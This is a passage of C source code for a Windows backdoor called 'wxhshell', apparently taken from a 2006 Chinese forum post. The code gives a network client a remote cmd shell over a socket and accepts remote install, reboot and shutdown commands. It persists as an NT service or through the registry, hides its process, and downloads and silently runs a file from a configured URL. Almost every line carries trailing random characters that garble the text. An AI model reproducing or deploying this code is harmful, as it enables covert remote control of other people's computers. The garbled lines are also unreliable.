  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oe_l:Y%  
  } !SEHDRp  
  else { IE.JIi^w  
d!7cIYVZ  
    switch(cmd[0]) { wUHuykF  
   Z+`mla  
  // 帮助 S!A)kK+  
  case '?': { A ^ $9[_  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $j0] +vT  
    break; QFU;\H/  
  } m:5*:Ii.  
  // 安装 I1^0RB{~  
  case 'i': { S1(. AI~  
    if(Install()) ]b4*`}\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ftq&<8  
    else y;<^[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gm~Ka%O|F  
    break; NX&mEz  
    } km,}7^?F0r  
  // 卸载 mV^+`GWvo  
  case 'r': { I$xfCu  
    if(Uninstall()) v/=O:SM}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B;9X{"  
    else o7S,W?;=5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); He}qgE>Us  
    break; 0M(\xO  
    } }&sF \b  
  // 显示 wxhshell 所在路径 pqFgi_2m  
  case 'p': { h~{TCK+I  
    char svExeFile[MAX_PATH]; sCU<1=   
    strcpy(svExeFile,"\n\r"); z1wy@1o'  
      strcat(svExeFile,ExeFile); =Y#)c]`  
        send(wsh,svExeFile,strlen(svExeFile),0); -twV?~f  
    break; NF&R}7L  
    } gd^1c}UZX  
  // 重启 )D_#  
  case 'b': { ,!_$A}@0 ^  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); { %X /w'|  
    if(Boot(REBOOT)) RX}6H<5R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VeeQmR?u-  
    else { Tu95qL~^  
    closesocket(wsh); \72(d  
    ExitThread(0); fvK):eCo  
    } ?RJ ) u  
    break; pt<!b0G  
    } &Q 7Q1`S  
  // 关机 Cp=DdmR  
  case 'd': { >Pj ?IE6  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); v?BX 4FO  
    if(Boot(SHUTDOWN)) hZf0q 2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); LnP={s  
    else { 0*S]m5#;  
    closesocket(wsh); Gh}sk-Xk=  
    ExitThread(0); IOmQ1X7,  
    } QxG:NN;jW  
    break; }wRHNBaEB  
    } pYIm43r H  
  // 获取shell z}&w7 O#   
  case 's': { :5IbOpVM  
    CmdShell(wsh); PrqN5ND  
    closesocket(wsh);  vp7J';  
    ExitThread(0); XoEiW R  
    break; *m6~x-x  
  } oG~a`9N%C  
  // 退出 *-"DZ  
  case 'x': { W m\HZ9PN  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); unu%\f>^4  
    CloseIt(wsh); $}RBK'cr}  
    break; gBb+Q,  
    } }@%A@A{R  
  // 离开 ,paD/  
  case 'q': { L]I ;{Y  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); r(-`b8ZE  
    closesocket(wsh); h}r64<Y2{  
    WSACleanup(); ?4v&TB@  
    exit(1); Jk=E"I6  
    break; :E'uV" j%  
        } ]FV,}EZ  
  } 21i?$ uU  
  } cnJ(Fv_F$  
&?C% -"|c  
  // 提示信息 s<,[xkMB  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mTXeIng?  
} tmEF7e`(o  
  } &U/7D!^X  
W(U:D?e  
  return; 7 -yf  
} pv);LjF  
{"hX_t  
// shell模块句柄 t;X  !+  
int CmdShell(SOCKET sock) #rnO=N8  
{ 5#kN<S!  
STARTUPINFO si; -DD2   
ZeroMemory(&si,sizeof(si)); /NRdBN  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; L-Qc[L  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; s/#L?[YH  
PROCESS_INFORMATION ProcessInfo; Zn{,j0;  
char cmdline[]="cmd"; 1KwUp0% &  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); iV<4#aBg  
  return 0; 1_$y bftS  
}  _0^f  
=_~bSEqyRI  
// 自身启动模式 :uwB)G  
int StartFromService(void) sk* AlSlM  
{ &Luq}^u  
typedef struct n<RvL^T=  
{ m/}(dT;  
  DWORD ExitStatus;  g=W1y  
  DWORD PebBaseAddress; $OEhdz&Fi  
  DWORD AffinityMask; nGb%mlb  
  DWORD BasePriority; h# R;'9*V  
  ULONG UniqueProcessId; \/=w \Tj  
  ULONG InheritedFromUniqueProcessId; w}2;f=  
}   PROCESS_BASIC_INFORMATION; 4#D=+70'  
5-rG8  
PROCNTQSIP NtQueryInformationProcess; [!Uzw 2  
vb^/DMhz  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; v&}+ps_W  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ,au-g)IFZ  
7nr+X Os  
  HANDLE             hProcess; iIrH&}2  
  PROCESS_BASIC_INFORMATION pbi; C'5b)0km  
xF|P6GXg  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); *\W *,D.I  
  if(NULL == hInst ) return 0; 4rX jso|  
dC&{zNG  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); )0F\[Jl}  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); MPSoRA: h  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); vm,/?]P  
_g{*;?mS  
  if (!NtQueryInformationProcess) return 0; VL6_in(  
lJZ-*"9V  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 7,vvL8\NHu  
  if(!hProcess) return 0; >v1E;-ZA  
VI:EjZ/|a  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; F"2rX&W  
!{On_>` ,  
  CloseHandle(hProcess); dt -EY  
P|M#S9^]  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); v(Vm:oK,  
if(hProcess==NULL) return 0; .4I "[$?Q  
*hugQh ]a  
HMODULE hMod; *c"tW8uR  
char procName[255]; 2oL~N*^C  
unsigned long cbNeeded; B^8]quOH  
y9<]F6TT  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Y"eR&d  
d:|(l^]{r  
  CloseHandle(hProcess); V* :Q~ ^  
42 6l:>D(  
if(strstr(procName,"services")) return 1; // 以服务启动 gZ{q85C.>  
UD.&p'^ /{  
  return 0; // 注册表启动 sqKLz  
} h5@v:4Jjo~  
R.ZC|bPiD  
// 主模块 6:PQkr  
int StartWxhshell(LPSTR lpCmdLine) ;4E(n  
{ ds> V|}f[  
  SOCKET wsl; # MpW\yX  
BOOL val=TRUE; pS [nKcyj  
  int port=0; >LqW;/&S<  
  struct sockaddr_in door; :i{$p00 G  
YG AB2`!U  
  if(wscfg.ws_autoins) Install(); zpPzXQv]/  
i^Ba?r;*  
port=atoi(lpCmdLine); }Z^r<-N  
4[q'1N6-  
if(port<=0) port=wscfg.ws_port; ^Ob#B!=  
W PDL$y  
  WSADATA data; /Q|guJx  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 4q<LNvJA  
.)eJL  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   <W$Ig@4[.d  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); KDt@Xi 6||  
  door.sin_family = AF_INET; 6LVJ*sjSy  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); a?^xEye  
  door.sin_port = htons(port); =aL=SC+  
.W[[Z;D  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { IdY\_@$ v  
closesocket(wsl); ,2*^G;J1  
return 1; L\O}q  
} +i %,+3#6  
y[L7=Td  
  if(listen(wsl,2) == INVALID_SOCKET) { *qh$,mp>  
closesocket(wsl); [1Os.G2  
return 1; 4tZnYGvqe  
} (YOp  
  Wxhshell(wsl); f76bEe/B9  
  WSACleanup(); 0u,OW  
fe,A\W&8  
return 0; Er 4P  
Kzv*`  
} sg=mkkD!g  
=%wwepz6  
// 以NT服务方式启动 fF~3"!1#\I  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /Ah|Po  
{ d{~5tv- H  
DWORD   status = 0; =CCxY7)M+.  
  DWORD   specificError = 0xfffffff; 4^? J BpBZ  
w_*UFLMSqR  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Dg:2*m_!j{  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 4nIs+  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; wK0= I\WN9  
  serviceStatus.dwWin32ExitCode     = 0; $d@_R^]X  
  serviceStatus.dwServiceSpecificExitCode = 0; 'Fe1]B"Y  
  serviceStatus.dwCheckPoint       = 0; s :4<wmu4=  
  serviceStatus.dwWaitHint       = 0; hM": ?Rx  
."8bW^:  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); z } L3//  
  if (hServiceStatusHandle==0) return; \5k^zGF4o  
k!%[W,*  
status = GetLastError(); g91X*$`]  
  if (status!=NO_ERROR) |fQl0hL  
{ CB7 6  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Oyfc!  
    serviceStatus.dwCheckPoint       = 0; }!^/<|$=  
    serviceStatus.dwWaitHint       = 0; 9/La _ :K  
    serviceStatus.dwWin32ExitCode     = status; @D<KG  
    serviceStatus.dwServiceSpecificExitCode = specificError; e-}b]\  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); "cK@Yo  
    return; Z(' iZ'55F  
  } 01 UEd8  
z x7fRd$  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ~Sr`Tlp  
  serviceStatus.dwCheckPoint       = 0; ka3(sctZ5  
  serviceStatus.dwWaitHint       = 0; 3L;GfYr0  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ujo3"j[b  
} l1Zf#]x  
)\iO wA  
// 处理NT服务事件,比如:启动、停止 hx'p0HDta  
VOID WINAPI NTServiceHandler(DWORD fdwControl) @M:Uf7  
{ uk8vecj  
switch(fdwControl) c]qq *k#  
{ G!y~Y]e  
case SERVICE_CONTROL_STOP: kQr\ktN\  
  serviceStatus.dwWin32ExitCode = 0; K):MT[/"  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; L_3undy,  
  serviceStatus.dwCheckPoint   = 0; Tug}P K   
  serviceStatus.dwWaitHint     = 0; H;&^A5  
  { > xc7Hr~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); '+!@c&d#%o  
  } ]yTMWIx#  
  return; >&1MD}  
case SERVICE_CONTROL_PAUSE: [&Kn&bdKW  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; kF09t5Lr  
  break; 9M$=X-  
case SERVICE_CONTROL_CONTINUE: "y%S.ipWG  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 4 Ar\`{c>  
  break; $LS$:%i4  
case SERVICE_CONTROL_INTERROGATE: B&tU~  
  break; fgb%SIi?  
}; ~"<AYJlO  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); pH?tr  
} {V> >a  
rv(Qz|K@  
// 标准应用程序主函数 /Dn,;@ZwAi  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) YQB.3  
{ HzW`j"\  
f}4bnu3  
// 获取操作系统版本 KUr}?sdz  
OsIsNt=GetOsVer(); |@}Yady@C  
GetModuleFileName(NULL,ExeFile,MAX_PATH); *3S ./ C}  
l9U^[;D  
  // 从命令行安装 )PM&x   
  if(strpbrk(lpCmdLine,"iI")) Install(); qRD]Q  
sknta 0^=2  
  // 下载执行文件 L*A9a  
if(wscfg.ws_downexe) { EF7Y4lp  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) \]uo^@$bm  
  WinExec(wscfg.ws_filenam,SW_HIDE); ls(lL\  
} RhJ{#G~:%  
6LGy0dWpG  
if(!OsIsNt) { n4albG4  
// 如果时win9x,隐藏进程并且设置为注册表启动 3NEbCILF  
HideProc(); =:T pH>f*  
StartWxhshell(lpCmdLine); gFJ. p  
} dS7?[[pg9  
else D ^ mfWJS  
  if(StartFromService()) jQAK ?7':=  
  // 以服务方式启动 8 |2QJ  
  StartServiceCtrlDispatcher(DispatchTable); mL!)(Bb  
else 'USol<  
  // 普通方式启动 hOI| #(-  
  StartWxhshell(lpCmdLine); &E@8 z&  
]fN\LY6p  
return 0; l;4},N  
}
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只看该作者 1 发表于: 2006-10-10
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